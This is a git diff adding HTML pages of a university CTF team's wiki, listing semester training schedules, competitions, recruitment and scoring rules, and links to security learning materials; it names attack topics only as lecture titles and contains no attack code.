The first 4 weeks this semester is for the qualification, then we would have weekly training every Sunday.

+

Remember we also have a CS315 course this semester.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DateTopicAttachments
Sep, 11thWelcome, and meeting with new members. Introduction to the competitions, research, and COMPASS lab.None
Sep, 18thFinal Round for GDCTF 2nd, skip.None
Sep, 25thBytecode CTF.None
Oct, 2ndQualification, and introduction of CTF for 2022 students.Introduction to CTF.pdf
Linux challenges
Linux tutorial
Python tutorial
Oct, 9thBasics about OS, Web, and fundamentals programming.Web Basics and Databases.pdf
CTF101 Web
Oct, 16thReverse engineering, GLIBC, and how to exploit a binary program.Reverse.pdf
Binary Exploitation.pdf
Oct, 23thQualification Exam: CTF track and AWD track.None
Oct, 30thPWN, stack, heap, and kernel.Kernel PWN Introduction
Nov, 6thReversing different kinds of applications, desktop, mobile, and embedded.newbie dive into binary
Nov, 20thModern cryptography, ECC, RC4, and AES.iThome ironman
Nov, 27thAttack-with-Defense, EDR, network sniffing, and trojan.Post Penetration
Dec, 4thCOMPASS CTF Event (Jeopardy).None
Dec, 11thCOMPASS CTF Event (AWD).None
Dec, 17thSummary of 2022 Fall Training.TBA
+

Contact me

+

Your advice is valuable and would help me to improve the training. If you have any suggestions, there are several ways to contact me:

+
    +
  • +

    Weekly meeting: every Thursday, at 16 pm, according to the weekly meeting page.

    +
  • +
  • +

    My email address: liz33#mail.sustech.edu.cn

    +
  • +
  • +

    My office address: 441A, Southern Tower of the Engineering Department.

    +
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Schedule/2022Spring/index.html b/Training/Schedule/2022Spring/index.html new file mode 100644 index 000000000..57860af26 --- /dev/null +++ b/Training/Schedule/2022Spring/index.html @@ -0,0 +1,8276 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 2022 Spring Time Schedule - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

2022 Spring Time Schedule

+

The time schedule for 2022 takes competition as major tasks. Currently, we have enough training for CTF techniques. Some of the competitions from 2022 Feb to 2022 July would be listed here.

+

Be aware that the time schedule may adjust according to the competition arrangement.

+

Weekly Schedule

+

Every week we would have at least ONE competition and ONE presentation slide. The activity would be both online / offline. Online meeting for those can't participate in the offline meeting, while offline is the major component.

+

Location: 515 Meeting Room, Southern Tower of Engineering Department

+

Time: every Saturday from 2 pm to 6 pm

+

Snacks and teatime are also included.

+

Timeline

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CompetitionTimeFormatComment
DefCamp CTF 2022 Online11 Feb, 17:00 CST — 13 Feb 2022, 23:00 CSTJeopardyRating weight: 43.08
CInsects CTF 202219 Feb, 19:00 CST — 20 Feb 2022, 04:00 CSTAttack-DefenseAWD exercise
Codegate CTF 2022 Preliminary26 Feb, 18:00 CST — 27 Feb 2022, 18:00 CSTJeopardyTop 10 teams will go on to the final match
D^3CTF 202204 March, 20:00 CST — 06 March 2022, 20:00 CSTJeopardyTop 12 teams will get awards
DaVinciCTF 202212 March, 00:00 CST — 14 March 2022, 00:00 CSTJeopardyRating weight: 24.50
VolgaCTF 2022 Qualifier19 March, 23:00 CST — 20 March 2022, 23:00 CSTJeopardyTop teams will be invited to participate in VolgaCTF 2022 Final
LINE CTF 202226 March, 08:00 CST — 27 March 2022, 08:00 CSTJeopardyRating weight: 23.68
Midnight Sun CTF 2022 Quals02 April, 18:00 CST — 03 April 2022, 18:00 CSTJeopardyRating weight: 27.82
PlaidCTF 202209 April, 05:00 CST — 11 April 2022, 05:00 CSTJeopardyRating weight: 93.67
CUCTF 1.023 April, 2022, 06:30 UTC — 23 April, 2022, 12:30 UTCJeopardyThis CTF will be in collaboration of WIZCON '22 which aims to introduce beginners to Capture the Flags.
(Empty)30 May, 2022(Empty)Welcome back to campus
2022年春秋杯网络安全联赛-春季赛2022-05-07 09:00:00 - 2022-05-07 19:00:00Jeopardy月赛采用持续报名的形式,凡报名过本届季赛或任一月赛的选手无须重复报名,可直接进行参赛。
VolgaCTF 2022 Qualifier14 May 2022, 15:00 UTC — 15 May 2022, 15:00 UTCJeopardyVolgaCTF 2022 Qualifier is an online competition. Top teams will be invited to participate in VolgaCTF 2022 Final, which will be held in Samara, Russia.
广东大学生网络安全攻防大赛21 May 2022 - 22 May 2022Question + JeopardyThe top 30 teams would be qualified to the final round.
DEF CON 3028 May 2022 - 30 May 2022JeopardyTop hacking activity
Google CTF星期六, 02 七月 2022, 02:00 CST — 星期一, 04 七月 2022, 02:00 CSTJeopardyGoogle's annually CTF
FAUST CTF 2022星期六, 09 七月 2022, 20:00 CST — 星期日, 10 七月 2022, 05:00 CSTAWDTop AWD activity
+

Personal Showcase

+

The CTF team members will be invited to have a presentation every week before the competition. The goal of the showcase is to improve and sharing.

+

The topic of the presentation can be various from challenge writeup to recently vulnerabilities. Anything useful for cybersecurity is fine.

+

The current arrangement for the showcase:

+

TBA

+

Weekly Meeting

+

Every Thursday we would have a short meeting online. If you have any question or advice, it's highly recommend to join the meeting and share with us.

+

The online meeting channel (welcome to public participation): https://meeting.tencent.com/p/4484894504

+

The offline meeting office room: Southern Tower of the Engineering Department, 515.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Schedule/2022Summer/index.html b/Training/Schedule/2022Summer/index.html new file mode 100644 index 000000000..e06d3b65a --- /dev/null +++ b/Training/Schedule/2022Summer/index.html @@ -0,0 +1,8363 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 2022 Summer Training Schedule - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

2022 Summer Training Schedule

+

tl,dr;

+
    +
  • Training time: from June, 19th to August, 14th.
  • +
  • Offline training would be held every Sunday from 9 am to 6 pm in 551 Meeting Room, Southern Tower of the Engineering Department.
  • +
  • Two tiers: basic level and advanced level.
  • +
  • The qualification exam would be on August 13th and 14th.
  • +
  • Enjoy your tour of CTF and the infosec.
  • +
+

Timeline

+

The time schedule would according to the weekly training topics. Every week, we would have a topic to focus on. During the training time, our timeline is set to the following table.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TimeTopicIntroductionMaterial
June, 26thCTF Overview & Fun-oriented challenges.Learn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team.Introduction to CTF.pdf
Sakai page
Kali Linux
Linux challenges
Linux tutorial
Python tutorial
July, 3rdWeb Challenges and Databases (Basics)Ability to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets.Web Basics and Databases.pdf
OWASP vulnerabilities
PHP basics
HTML MDN
CSS MDN
JavaScript MDN
July, 10thPractice, Solving Web Challenges (Advanced)Why websites are vulnerable, learn how to crack a website and solve some web challenges. Find the weakness in the websites, and common vulnerabilities.Advanced Web Hacking.pdf
Linux Basics
BlackHat SSTI PDF
CTF101 Web
Web learning notes
July, 17thForensics & SteganographyAnalyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images.Forensics_Steganography.pdf
CTF 101 Forensics
1earn Forensics
July, 24thModern Cryptography and MathematicsAsymmetric cryptography like RSA, ECC. A mathematic definition of security and attacks on modern cryptography.Cryptography.pptx
Introduction to Modern Cryptography: Principles and Protocols
Trapping ECC with Invalid Curve Bug Attacks
July, 31stAssembly Language and Reverse EngineeringLearn about some CISC knowledge. Use x86_64 as example to do assembly. Some reverse engineering skills are involved.Reverse.pdf
August, 7thBinary ExploitationsPWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges.Binary Exploitation.pdf
August, 13thReport and SummaryBefore the final exam, we would have a report week to share your learning and conclusion on the CTF.TBA
August, 14thExamBrand new challenges to solve this year, and winners would be qualified to the team.TBA
+

Time arrangement

+

We usually would have our offline training in the 551 Meeting Room, Southern Tower of the Engineering Department. The time of the offline meeting would be on Sundays.

+

From the offline training, you can have a summary of the past week's challenges and topics. The schedule of this day would be like this:

+

2022 Summer training timeline:

+
    +
  • 9:00 - 10:00 quick review of the last week, a summary of the self-learning materials.
  • +
  • 10:20 - 11:50 challenge solving and summary.
  • +
  • 14:00 - 16:00 Lecture on the topic.
  • +
  • 16:20 - 18:00 Question solving and teamwork.
  • +
+

Training tiers

+

For the students who won't be able to participate the whole time, we can still have a more relaxed timeline.

+

Advanced level

+

In order to join the compass team and attend competitions in the future, we need to have a more advanced skills. In the training, you should make sure that you are great at your specified area.

+
    +
  • Every week, you have to join the weekly training. We may not have a sign-up every week, but if you choose this level, I would appreciate you participating in the offline training.
  • +
  • We would publish some challenges for the week. Your score would be noted in the database, and don't forget to finish them.
  • +
  • An experienced team member would help you to learn about everything. It's free to ask questions.
  • +
  • You may need to take extra time to learn expanded materials besides the topic this week.
  • +
+

Taking the advanced level isn't easy, and you would get 5 extra points for the total score.

+

Basic level

+

If you don't want to fully participate in the training, and just want to learn something about computer security and CTF by interest. The basic level is enough.

+
    +
  • The weekly training's morning half can be optional. But the afternoon half is still very useful.
  • +
  • The weekly challenges sometimes are fun, you can learn a lot from finishing the easy and the medium difficulty challenges.
  • +
  • Ask in the group and every question would be answered.
  • +
+

You can still participate in the final exam. If your score is high enough (which means you are so talented in the CTF), it's our honor to have you on the team.

+

Exam and the score

+

The training schedule isn't a course or something you need to rat race to get an A-level score. But, I think taking some grades can be feedback on your learning.

+

How to join the compass team? Sometimes, joining the CTF competitions can be done by oneself, but usually, we need teamwork to get a better grade in the competitions. You don't want your teammate to be a newbie, right? The exam and the score are used to make sure that every member is great.

+

Thus, if you find anything that is non-reasonable in our score system, please write an email to me. I would appreciate having your advice.

+

The scoring system won't have a cap, you can get as many points if you want. However, I don't like the rat race. So, every category would have a percentage in the result.

+

The final score formula is: score = weight * sum(percent * log(2, score))

+

The categories involves,

+
    +
  • Evaluation of the weekly challenges, and competitions: 30%.
  • +
  • Remark from the team members: 10%.
  • +
  • The sharing and the report score: 15%.
  • +
  • The final exam: 100%.
  • +
+

The weight would be according to your grade. A freshman in the university is less experienced compared with the senior students, but from future learning, a freshman can have more time to improve. The weight is in order to balance the grades.

+
    +
  • Freshman (grade 1): +6%.
  • +
  • Sophomore (grade 2): +4%.
  • +
  • Junior (grade 3): +2%.
  • +
+

This is summer training, and we won't have any senior members (they are already graduated).

+

For example, if you got 3127 in the challenges and competitions, 155 in the remarks, 229 in the report, and 1625 in the final exam. You are a freshman in the university and just finished your first year. The total score would be: 1.06 * (0.3 * 11.610563503925041 + 0.1 * 7.2761244052742375 + 0.15 * 7.839203788096944 + 1 * 10.66622400280318) = 17.016059226486018.

+

Contact

+

Your advice is valuable and would help me to improve the training. If you have any suggestions, there are several ways to contact me:

+
    +
  • Weekly meeting: every Thursday, at 16pm, according to the weekly meeting page.
  • +
  • My email address: liz33#mail.sustech.edu.cn
  • +
  • My office address: 441A, Southern Tower of the Engineering Department.
  • +
  • My Boss, Fengwei, Zhang's office address: 515, Southern Tower of the Engineering Department.
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Schedule/2023Spring/index.html b/Training/Schedule/2023Spring/index.html new file mode 100644 index 000000000..cac1e6752 --- /dev/null +++ b/Training/Schedule/2023Spring/index.html @@ -0,0 +1,8235 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 2023 Spring Training Schedule - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

2023 Spring Training Schedule

+

We will have several written/video-based remedial content sessions before we begin training for Spring 2023 (the timing will be prior to the start of Spring 2023 training).

+

For the spring 2023 program, we will continue to use the same weekly training format as before, and we will accept your suggestions to add a sharing and combination of questions to the training, and add more practical content in addition to theory.

+

Each week, I will also post an archived replay of a recent competition, or a self-practice session on a selected topic, which you are free to arrange according to your schedule. Of course, if there is a competition planned for the week, the competition topic review will be delayed/reduced/cancelled.

+

Remedial Content Session

+

In these tutorials, I will sync the written content to our wiki for use as an introduction to cybersecurity, currently selected content is

+
    +
  • What is cybersecurity and the hacker attitude.
  • +
  • Installation and basic operation of Linux-based operating systems.
  • +
  • Simple programming using the Python language, including math, networking and image processing.
  • +
  • How to use Sagemath to perform mathematical operations.
  • +
  • Network packet capture and analysis via Burp Suite or Fiddler.
  • +
  • Understanding file structure and using a hex editor.
  • +
  • Reverse executables such as ELF and PE via IDA or Ghidra.
  • +
  • Basic content and exploitation of binary vulnerabilities.
  • +
  • Creating containers with Docker and container management with K8S.
  • +
+

This content will be updated gradually in the form of written materials or video images and will not be available in offline training sessions.

+

Spring 2023 Program

+

In the spring 2023 program, we have two components: recruitment of new members and advanced training. After a semester of competition and training, everyone's cybersecurity level and ability have been improved, and I will focus on deepening learning in a certain direction in this semester.

+

I will not recruit too many new members in this semester, and the final recruitment will still be conducted through the competition, mainly for the freshmen of 2022, and the number of recruits will be mainly used to make up for the number of members who will graduate after this semester.

+

The number of recruits will be used to make up for the number of members who will graduate after this semester. The spring 2023 offline training and competition questions will be updated on this page.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TopicCategoryAttachmentDate
Network Sniff: IntroductionWebhttps://ithelp.ithome.com.tw/articles/10245117
https://ithelp.ithome.com.tw/articles/10245119
https://ithelp.ithome.com.tw/articles/10246315
https://ithelp.ithome.com.tw/articles/10246917
Feb. 26th, 2023
Network Sniff: Multi-platformWebhttps://frida.re/docs/android/March. 5th, 2023
Network ScanWebhttps://websec.readthedocs.io/zh/latest/index.htmlMarch. 12th, 2023
Ethereum and Solidity: IntroductionBlockchainhttp://www.snowywar.top/?p=3848March. 25th, 2023
Ethereum and Solidity: PracticeBlockchainhttp://www.snowywar.top/?p=3848April. 2nd, 2023
IoT SecurityIoThttps://paper.seebug.org/2048/May. 7th, 2023
PWN: StackPWNhttps://ir0nstone.gitbook.io/notes/May. 14th, 2023
PWN: HeapPWNhttps://ir0nstone.gitbook.io/notes/May. 14th, 2023
PWN: KernelPWNhttps://ir0nstone.gitbook.io/notes/
https://paper.seebug.org/2036/
May. 21st, 2023
Real-World Security: PenetrationRWhttps://www.ired.team/May. 28th, 2023
Real-World Security: MalwareRWhttps://www.ired.team/June. 4th, 2023
Real-World Security: SummaryRWhttps://www.ired.team/June. 11th, 2023
+

Summary

+

Contact me: liz33@mail.sustech.edu.cn

+

You can also send emails or communicate with Prof. Zhang. About the academic project and the COMPASS lab-related component, I will post later.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Schedule/2023Summer/index.html b/Training/Schedule/2023Summer/index.html new file mode 100644 index 000000000..3cd8d6d40 --- /dev/null +++ b/Training/Schedule/2023Summer/index.html @@ -0,0 +1,8411 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 2023 Summer Recruitment & Training Schedule - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

2023 Summer Recruitment & Training Schedule

+

A recruitment program for new members will take place in the summer of 2023. The recruitment of new members will last for 4 weeks and will be conducted jointly with South China Universities on the weekend of the 4th week.

+

There will be two categories of new members: basic and expert. At the basic level, many basic computer science concepts will be mentioned, and only the basic content will be required in the recruitment training questions. At the expert level, we will focus on real cybersecurity practice (in the meantime, let me assure you already have some computer science foundation) and begin computer security training directly.

+

Therefore, this article will be described according to the following table of contents:

+
    +
  1. what the COMPASS CTF team will do to help you and what we expect you to do once you join.
  2. +
  3. registration for new members.
  4. +
  5. the basics of the recruitment campaign and the practice questions.
  6. +
  7. recruitment assessment and score evaluation.
  8. +
  9. some content that may be helpful if you are concerned about quitting.
  10. +
  11. a detailed training schedule.
  12. +
+

0x1. Capture The Flag, CTF & COMPASS CTF team

+

Capture the Flag (CTF) is a class of security competitions that simulate real network environments and are usually divided into two categories: recreational exercises and formal competitions. In the first category, we will learn a lot of computer science and coding, programming, image encryption, and a series of other interesting knowledge, just as learning itself is an enjoyable experience, in this type of recreational practice tournament, you can get more basic knowledge about computer science and interesting experience. The latter category is better for your career development and future planning, and in recent years, CTF competitions for talent recruitment are increasingly held by companies, government departments, and universities. In formal competitions, rigorous knowledge of cybersecurity will be tested, including malicious program analysis, industrial control software analysis, or offline hacking and defense simulating real-life environments.

+

At Southern University of Science and Technology, winning official competitions can get you extra points for graduate school/prize money for the school, and publicity on the official public website. In the official competitions you participate in, you can get the favor of enterprises such as Netcom, Ministry of Public Security, Ministry of Education, Ant (Alibaba Inc), or Meituan, etc. due to the different organizers.

+

You can choose your training group according to your situation:

+
    +
  1. If you plan to learn a wide range of computer science knowledge in Network Security and Computer Security and want to have a fun experience with Competition and Computer Security. I recommend you to choose the basic level.
  2. +
  3. If you plan to join the COMPASS CTF team in the future, compete with the best students, achieve ranking, or participate in research projects, make a choice for your future planning. I recommend you to choose the Expert level.
  4. +
+

Of course, these two-level choices still represent different training difficulties and basic thresholds, which also need to be adjusted by your actual needs. You can also adjust your group after you have registered for new members.

+

0x2. Registration for new members

+

The registration form for the New Member Recruitment Program (or its online version) can be found in Appendix A. If you will be officially joining SUSTech next semester, or if you will be entering your second year at SUSTech next semester, please do not feel anxious about building up your basic knowledge; you still have plenty of time to learn and improve.

+

If you are going to choose your own academic research path, the COMPASS CTF team is an affiliated team of the COMPASS lab with research on computer security, and I am very pleased to recommend the COMPASS lab.

+

0x3. The basics of the recruitment campaign and the practice questions

+

The recruitment of new members will be divided into three parts:

+
    +
  1. Basic knowledge training and learning.
  2. +
  3. Daily practice questions.
  4. +
  5. weekly training and review of topics.
  6. +
+

Among them, the basics of training and learning will use the CTF book written by the Nu1L team for reference. The CTF All in One book is also recommended as reference material. At the same time, I will also summarize a series of online materials, with our previous recruiting materials information to carry out.

+

You do not need to complete the questions on the same day, but it is recommended that you complete the week's questions before the intensive training and Q&A time every Sunday. You may have difficulty with the daily exercises, but each week we will work through the difficult questions.

+

0x4. Recruitment assessment and score evaluation

+

New member recruitment is not a course, and scores are graded only for your motivation and as a reference for joining the team. We certainly don't want your teammates to have a large difference in ability level from you, which would lead to an imbalance in team strength. Therefore, if you think there is a problem with the design of the scores or have any suggestions, please feel free to contact me.

+

New member recruitment scores are designed to be chaotic and evil in an uncapped mode. The final score is made up of several components. Each part of the score has a different weighting and is calculated as:

+

Final score = factor * sum(weight * part score)

+

First, the factor depends on your grade level. If you will be entering SUSTech in the next semester, then you will receive an additional 40% factor, and if you will be entering your second year in the next semester, then you will receive an additional 20% factor. In addition, if you choose the Expert level (which represents more daily practice with more daily commitment time), you will receive an additional 5% factor.

+

The scores for each component with their corresponding weights are shown in the following table:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PartWeight
daily challenges100%
competition participated150%
training activity50%
teammate score100%
member score100%
final competition500%
+

0x5. Some content that may be helpful if you are concerned about quitting

+

I am very sorry if you plan to drop out during the course of your study, but if this is due to the training schedule and my factors, I humbly seek your advice and opinion.

+

If you need some help, perhaps the following will help you.

+

Q: I wasn't as interested in computer security as I expected it to be at the beginning.

+

A: The learning path for computer security can be very steep, and you may find yourself making no significant breakthroughs for some time. The accumulation of basic knowledge content is equally important. The field of computer security may not be as exhilarating as you might expect, but as you learn more, you will be exposed to more content that a beginner would not.

+

Q: The training schedule drains me.

+

A: Maybe you can try to lower the level of difficulty, even if you plan to join the team, but it's not for experts only. The basic level is also possible, the difference is only the 5% extra factor.

+

Q: I have other questions.

+

A: You are always welcome to contact me by email or by any means. Here is my email address: liz33@mail.sustech.edu.cn, and you can also find me in my office at 441A, South Building, College of Engineering.

+

Attachment A. Registration Form

+

Before filling out the registration form, allow me to describe to you this very interesting field and the five most important maxims in this field.

+
    +
  1. The world is full of fascinating problems waiting to be solved.
  2. +
  3. No problem should ever have to be solved twice.
  4. +
  5. Boredom and drudgery are evil.
  6. +
  7. Freedom is good.
  8. +
  9. Attitude is no substitute for competence.
  10. +
+

If you love cybersecurity, enjoy deciphering the maze of programs, hardware, and networks, and explore with humble curiosity and wonder, then you have the most important qualities that lead to success.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyValue
Student ID (or empty if you haven't joined SUSTech)
Contact email address
Name or nickname you prefer to be called
Level (basic or expert)
Experience and knowledge
Interest point(s)
+

Hope you enjoy the trip!

+ +

COMPASS lab website: https://compass.sustech.edu.cn/

+

Online competition & challenge platform: http://detroit.sustech.edu.cn:29998/

+

Online competition & challenge platform (Intranet address): http://116.7.234.225:29998/

+

CTF all in one gitbook: https://firmianay.gitbook.io/ctf-all-in-one/content/

+

Attachment C. Timeline

+

The timeline and the topics of the training schedule are as below:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DateTopicAttachment
Aug. 3rd1: introduction/LinuxCTF_tutorial_1___introduction
Aug. 6th2: web1CTF_tutorial_2___web
Aug. 8th3: web2CTF_tutorial_3___web___sql
CTF_tutorial_3___web___file
CTF_tutorial_3___web___ssrf
Aug. 10th4: forensicsCTF_tutorial_4___forensics
Aug. 13th5: crypto/PythonCTF_tutorial_5___cryptography
Aug. 15th6: reverseCTF_tutorial_6___reverse
Aug. 17th7: pwn1CTF_tutorial_7___pwn
Aug. 20th8: pwn2CTF_tutorial_8___pwn2
Aug. 22nd9: penetration/bug bounty5ZWK?
Aug. 24th10: awd-----BEGIN PGP MESSAGE-----
Version: Keybase OpenPGP v2.1.15
Comment: https://keybase.io/crypto

wcBMA3ffNJS1q05yAQf9HwBZU1UsQ5m9vzr8sZKGqRE0hXz0tL/4fn+53z0ZPtPZ
pMC8+Lqf2LUvuxy+e7kkGQ8+9TYG0+dRXzrTqB2XLswFVYVlQYE3kPggBopuvOmY
C2jbYElBs5BJReAtwMwfryF3zHi1QvES2McAlPie5t7UOZplu4+TneCzXclL07yz
3Ipw6se5h+VXUEXrPpF43tCXRj3dakpTFlpiVd62WB/NlNYf8LUDWDceOqC/flwL
0CEC9Jm/sCM5aynzjFuEyVSTXz5+2ppappkqyrnlhRkJWE/Tvvcg1Nw03rnpffSa
T5e76JhYPNgko/Pe7NFD19xeVpyjE4KgZIGNdndEX9JDAeIYls88jN3dpaVTvPJz
FP5xmvLVsEhj+g8bfCydR0vVJXirmdr7G1hdMpIYLd9R87PhW9E2TtT6AX0myaze
DMSaHA==
=fUNF
-----END PGP MESSAGE-----
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Schedule/2023Winter/index.html b/Training/Schedule/2023Winter/index.html new file mode 100644 index 000000000..baff1fa32 --- /dev/null +++ b/Training/Schedule/2023Winter/index.html @@ -0,0 +1,8429 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Winter 2023 CTF Team Training and Competition Schedule - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Winter 2023 CTF Team Training and Competition Schedule

+

Training Mode Adjustments

+

Workshop Training Sessions

+
    +
  • Frequency: Daily (Monday to Friday)
  • +
  • Objective: To engage team members in a more interactive and discussion-focused training environment, with shorter, more intensive problem-solving sessions.
  • +
+

Weekly Competition Participation

+
    +
  • Schedule: Selection of one external competition each week for team participation.
  • +
+

Monthly Recruitment and Assessment Competition

+
    +
  • Timing: Last week of each month
  • +
  • Purpose: To onboard new team members and gauge the current team's skill level with a set of brand-new, original challenges.
  • +
+

Team Fund Usage

+

We are in the process of finalizing the specific action plan for team fund usage.

+
    +
  • Team Fund: A financial reserve established to support the team's needs, including but not limited to equipment purchases, service subscriptions, and competition-related expenditures.
  • +
+

Resource Synchronization

+

A GitHub Organization will be created shortly to synchronize team resources such as solutions, projects, and administrative items.

+
    +
  • GitHub Organization: A unified repository for all team-related materials and resources.
  • +
+

Automation

+

We are focusing on developing new automation mechanisms to facilitate the seamless operation of various team tasks.

+
    +
  • Automation Proposals: Team members are encouraged to recommend processes that can be automated to reduce manual workload.
  • +
+

Detailed Schedule Table

+

Below is the detailed schedule table with columns for Date, Location, Topic, Description, and Notes. Please note that the schedule is flexible and may change to accommodate new competitions or unforeseen circumstances.

+

Schedule Table

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DateLocationTopicDescriptionNotes
2023-12-27 14:00318 Meeting Room, Southern ToEThe Missing Course 4: Data WranglingHave you ever wanted to take data in one format and turn it into a different format? Of course, you have! That, in very general terms, is what this lecture is all about. Specifically, massaging data, whether in text or binary format, until you end up with exactly what you wanted.WS1-4.pdf
2023-12-28 17:00318 Meeting Room, Southern ToEThe Missing Course 5: Command-line EnvironmentExploring the power of the command-line interface (CLI) for efficient system navigation, automation, and task execution.WS1-5.pdf
2023-12-29 18:00318 Meeting Room, Southern ToEThe Missing Course 6: Version Control (Git)Comprehensive guide to using Git for version control, including best practices for collaboration and maintaining code history.WS1-6.pdf
2023-12-29 14:00318 Meeting Room, Southern ToEThe Missing Course 7: Debugging and ProfilingTechniques for identifying and fixing code bugs, as well as methods for optimizing performance through profiling.WS1-7.pdf
2023-12-30 14:00443B Meeting Room, Southern ToEASIS CTF Finals 2023Participation in the final round of the ASIS CTF, applying skills and teamwork in a competitive environment.https://asisctf.com/
2024-01-01 14:00318 Meeting Room, Southern ToEThe Missing Course 8: MetaprogrammingDive into advanced programming concepts that allow programs to treat other programs as their data.WS1-8.pdf
2024-01-02 16:00318 Meeting Room, Southern ToEThe Missing Course 9:Further exploration of advanced programming topics (specific topic to be determined).WS1-9.pdf
2024-01-03 14:00318 Meeting Room, Southern ToEThe Missing Course 10:Conclusion of the Missing Course series with a focus on integrating learned skills into real-world scenarios.WS1-10.pdf
2024-01-06 14:00443B Meeting Room, Southern ToE南方科技大学&万径安全联合宣讲会A joint seminar by Southern University of Science and Technology & Wan Jing Security, discussing the latest trends in cybersecurity.TBA
2024-01-07 14:00551 Meeting Room, Southern ToEIrisCTF 2024Engaging in IrisCTF 2024 to apply CTF skills in a variety of challenges suitable for all levels of expertise.Home : IrisCTF 2024 - CTF fun for hackers of all skill levels
2024-01-14 14:00551 Meeting Room, Southern ToEbi0sCTF 2024Competing in bi0sCTF 2024, challenging team members with tasks designed to test and enhance their cybersecurity abilities.https://ctf.bi0s.in/
2024-01-21 14:00551 Meeting Room, Southern ToEInsomni'hack teaser 2024Preparing for the Insomni'hack event with a teaser CTF that offers a sneak peek into the types of challenges to be expected.Contests - Insomni'hack
2024-01-27 09:00551 Meeting Room, Southern ToEMonthly Competition: The Winter is Coming CTFInternal monthly competition designed to keep the team's skills sharp and foster a competitive spirit within the team.TBA
2024-01-28 14:00551 Meeting Room, Southern ToEReal World CTF 6thParticipation in the 6th edition of Real World CTF, facing off against real-world security challenges and scenarios.https://realworldctf.com/
+

Summary

+

As we reach the culmination of our preparatory stage for the meticulous regimen our Capture The Flag (CTF) collective intends to undertake, the structured schema we have embraced clearly bespeaks our aim to incur a comprehensive repertoire of capabilities within our confraternity, spanning the spectrum from rudimental precepts to sophisticated stratagems in the realm of cybersecurity. The schedule we’ve meticulously curated evolves seamlessly from didactic symposiums to hands-on, combative scenarios, guaranteeing that our assemblage is not merely conversant with avant-garde methodologies but proficient in their deployment amidst the exigencies of tangible situations.

+

The instructional compendium entitled "The Missing Course" series acts as the cornerstone of our pedagogy, imparting a robust grounding in indispensable subject matter incorporating the arts of data manipulation, command line utilization, versioning of software revisions, debugging, system performance evaluation, and the arcane craft of metaprogramming. These sessions are tailored to forge connections between theoretical acumen and the pragmatic competencies demanded in the cybersecurity vocation.

+

Our participation in illustrious tournaments such as the ASIS CTF Finals, IrisCTF, bi0sCTF, Insomni'hack, and Real World CTF will furnish our cadre with the prospect to gauge our prowess against some of the preeminent figures in this discipline. These rendezvous will afford us not simply the venue to employ our acquired enlightenment but also to assimilate wisdom from our contemporaries and perpetually refine our artifices.

+

